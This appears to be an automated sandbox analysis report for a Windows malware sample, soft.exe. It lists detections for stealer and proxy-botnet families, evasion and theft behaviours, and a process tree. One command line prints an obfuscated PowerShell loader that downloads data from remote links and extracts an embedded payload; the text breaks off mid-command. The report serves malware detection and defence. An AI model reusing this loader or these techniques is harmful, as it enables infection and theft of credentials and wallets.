Windows
Analysis Report
soft.exe
Overview
General Information
Detection
GCleaner, LummaC Stealer, Socks5Systemz
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Powershell download and load assembly
Sigma detected: Powershell download payload from hardcoded c2 list
Suricata IDS alerts for network traffic
Yara detected GCleaner
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Socks5Systemz
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Changes security center settings (notifications, updates, antivirus, firewall)
Contains functionality to infect the boot sector
Found API chain indicative of debugger detection
Found many strings related to Crypto-Wallets (likely being stolen)
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
PE file has a writeable .text section
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Silenttrinity Stager Msbuild Activity
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Crypto Currency Wallets
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
AV process strings found (often used to terminate AV products)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to launch a program with higher privileges
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to query network adapater information
Contains functionality to read the clipboard data
Contains functionality to shutdown / reboot the system
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found evasive API chain (may stop execution after checking a module file name)
Found evasive API chain checking for process token information
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Modifies existing windows services
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
PE file contains strange resources
Queries disk information (often used to detect virtual machines)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Searches for user specific document files
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: Use Short Name Path in Command Line
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
svchost.exe (PID: 4832 cmdline:
C:\Windows \System32\ svchost.ex e -k Netwo rkService -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
SgrmBroker.exe (PID: 432 cmdline:
C:\Windows \system32\ SgrmBroker .exe MD5: 3BA1A18A0DC30A0545E7765CB97D8E63)
sppsvc.exe (PID: 5360 cmdline:
C:\Windows \system32\ sppsvc.exe MD5: 320823F03672CEB82CC3A169989ABD12)
svchost.exe (PID: 3796 cmdline:
C:\Windows \system32\ svchost.ex e -k Unist ackSvcGrou p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
svchost.exe (PID: 5352 cmdline:
C:\Windows \System32\ svchost.ex e -k Local SystemNetw orkRestric ted -p -s StorSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
soft.exe (PID: 7084 cmdline:
"C:\Users\ user\Deskt op\soft.ex e" MD5: C0D0B27CE5688D1912B5ACFA788D08A2) BitLockerToGo.exe (PID: 6828 cmdline:
"C:\Window s\BitLocke rDiscovery VolumeCont ents\BitLo ckerToGo.e xe" MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8) N7LnRW81Rfq.exe (PID: 1888 cmdline:
"C:\Users\ user\AppDa ta\Roaming \LivKm\N7L nRW81Rfq.e xe" MD5: 1CB8DD3607684387ABD3B28876FE1808) N7LnRW81Rfq.tmp (PID: 2044 cmdline:
"C:\Users\ user~1\App Data\Local \Temp\is-I L2KP.tmp\N 7LnRW81Rfq .tmp" /SL5 ="$A0242,3 545097,568 32,C:\User s\user\App Data\Roami ng\LivKm\N 7LnRW81Rfq .exe" MD5: B7B82CFA8450995363936BF8AA65FEE6) ssdtoolbox.exe (PID: 2236 cmdline:
"C:\Users\ user\AppDa ta\Local\S SD ToolBox 5.1.9\ssd toolbox.ex e" -i MD5: CF8CD18A8C39163D0529175BBB6A7F45) MnzBi21FK.exe (PID: 2500 cmdline:
"C:\Users\ user\AppDa ta\Roaming \NP22AsNxT T\MnzBi21F K.exe" MD5: 3C570A5E7BA82EEA698EC56EC3427A2C) cmd.exe (PID: 2908 cmdline:
cmd.exe /c 67c2163c9 db39.vbs MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) conhost.exe (PID: 6080 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) wscript.exe (PID: 2352 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user~1 \AppData\L ocal\Temp\ IXP000.TMP \67c2163c9 db39.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) powershell.exe (PID: 5924 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$dosigo = 'WwBO@GU@ d@@u@FM@ZQ By@HY@aQBj @GU@U@Bv@G k@bgB0@E0@ YQBu@GE@Zw Bl@HI@XQ@6 @Do@UwBl@G M@dQBy@Gk@ d@B5@F@@cg Bv@HQ@bwBj @G8@b@@g@D 0@I@Bb@E4@ ZQB0@C4@Uw Bl@GM@dQBy @Gk@d@B5@F @@cgBv@HQ@ bwBj@G8@b@ BU@Hk@c@Bl @F0@Og@6@F Q@b@Bz@DE@ Mg@N@@o@I@ @g@C@@I@@g @C@@I@@g@C @@I@@g@C@@ ZgB1@G4@Yw B0@Gk@bwBu @C@@R@Bv@H c@bgBs@G8@ YQBk@EQ@YQ B0@GE@RgBy @G8@bQBM@G k@bgBr@HM@ I@B7@C@@c@ Bh@HI@YQBt @C@@K@Bb@H M@d@By@Gk@ bgBn@Fs@XQ Bd@CQ@b@Bp @G4@awBz@C k@I@@N@@o@ I@@g@C@@I@ @g@C@@I@@g @C@@I@@g@C @@J@B3@GU@ YgBD@Gw@aQ Bl@G4@d@@g @D0@I@BO@G U@dw@t@E8@ YgBq@GU@Yw B0@C@@UwB5 @HM@d@Bl@G 0@LgBO@GU@ d@@u@Fc@ZQ Bi@EM@b@Bp @GU@bgB0@D s@I@@N@@o@ I@@g@C@@I@ @g@C@@I@@g @C@@I@@g@C @@J@Bz@Gg@ dQBm@GY@b@ Bl@GQ@T@Bp @G4@awBz@C @@PQ@g@Ec@ ZQB0@C0@Ug Bh@G4@Z@Bv @G0@I@@t@E k@bgBw@HU@ d@BP@GI@ag Bl@GM@d@@g @CQ@b@Bp@G 4@awBz@C@@ LQBD@G8@dQ Bu@HQ@I@@k @Gw@aQBu@G s@cw@u@Ew@ ZQBu@Gc@d@ Bo@Ds@I@@N @@o@I@@g@C @@I@@g@C@@ I@@g@C@@I@ @g@C@@ZgBv @HI@ZQBh@G M@a@@g@Cg@ J@Bs@Gk@bg Br@C@@aQBu @C@@J@Bz@G g@dQBm@GY@ b@Bl@GQ@T@ Bp@G4@awBz @Ck@I@B7@C @@d@By@Hk@ I@B7@C@@cg Bl@HQ@dQBy @G4@I@@k@H c@ZQBi@EM@ b@Bp@GU@bg B0@C4@R@Bv @Hc@bgBs@G 8@YQBk@EQ@ YQB0@GE@K@ @k@Gw@aQBu @Gs@KQ@g@H 0@I@Bj@GE@ d@Bj@Gg@I@ B7@C@@YwBv @G4@d@Bp@G 4@dQBl@C@@ fQ@g@H0@Ow @g@@0@Cg@g @C@@I@@g@C @@I@@g@C@@ I@@g@C@@I@ By@GU@d@B1 @HI@bg@g@C Q@bgB1@Gw@ b@@g@H0@Ow @g@@0@Cg@g @C@@I@@g@C @@I@@g@C@@ I@@g@C@@I@ @k@Gw@aQBu @Gs@cw@g@D 0@I@B@@Cg@ JwBo@HQ@d@ Bw@HM@Og@v @C8@YgBp@H Q@YgB1@GM@ awBl@HQ@Lg Bv@HI@Zw@v @GQ@ZwBm@G c@Z@Bm@GY@ ZgBm@GY@Zg Bm@GY@ZgBm @GY@Zw@v@G c@Z@Bm@Gc@ Z@Bm@C8@Z@ Bv@Hc@bgBs @G8@YQBk@H M@LwB0@GU@ cwB0@DI@Lg Bq@H@@Zw@/ @DE@Mw@3@D E@MQ@z@Cc@ L@@g@Cc@a@ B0@HQ@c@Bz @Do@Lw@v@G 8@ZgBp@GM@ ZQ@z@DY@NQ @u@Gc@aQB0 @Gg@dQBi@C 4@aQBv@C8@ MQ@v@HQ@ZQ Bz@HQ@LgBq @H@@Zw@n@C k@Ow@N@@o@ I@@g@C@@I@ @g@C@@I@@g @C@@I@@g@C @@I@@k@Gk@ bQBh@Gc@ZQ BC@Hk@d@Bl @HM@I@@9@C @@R@Bv@Hc@ bgBs@G8@YQ Bk@EQ@YQB0 @GE@RgBy@G 8@bQBM@Gk@ bgBr@HM@I@ @k@Gw@aQBu @Gs@cw@7@@ 0@Cg@g@C@@ I@@g@C@@I@ @g@C@@I@@g @C@@I@@g@G k@Zg@g@Cg@ J@Bp@G0@YQ Bn@GU@QgB5 @HQ@ZQBz@C @@LQBu@GU@ I@@k@G4@dQ Bs@Gw@KQ@g @Hs@I@@k@G k@bQBh@Gc@ ZQBU@GU@e@ B0@C@@PQ@g @Fs@UwB5@H M@d@Bl@G0@ LgBU@GU@e@ B0@C4@RQBu @GM@bwBk@G k@bgBn@F0@ Og@6@FU@V@ BG@Dg@LgBH @GU@d@BT@H Q@cgBp@G4@ Zw@o@CQ@aQ Bt@GE@ZwBl @EI@eQB0@G U@cw@p@Ds@ DQ@K@C@@I@ @g@C@@I@@g @C@@I@@g@C @@I@@g@C@@ J@Bz@HQ@YQ By@HQ@RgBs @GE@Zw@g@D 0@I@@n@Dw@ P@BC@EE@Uw BF@DY@N@Bf @FM@V@BB@F I@V@@+@D4@ Jw@7@C@@J@ Bl@G4@Z@BG @Gw@YQBn@C @@PQ@g@Cc@ P@@8@EI@QQ BT@EU@Ng@0 @F8@RQBO@E Q@Pg@+@Cc@ Ow@g@CQ@cw B0@GE@cgB0 @Ek@bgBk@G U@e@@g@D0@ I@@k@Gk@bQ Bh@Gc@ZQBU @GU@e@B0@C 4@SQBu@GQ@ ZQB4@E8@Zg @o@CQ@cwB0 @GE@cgB0@E Y@b@Bh@Gc@ KQ@7@C@@DQ @K@C@@I@@g @C@@I@@g@C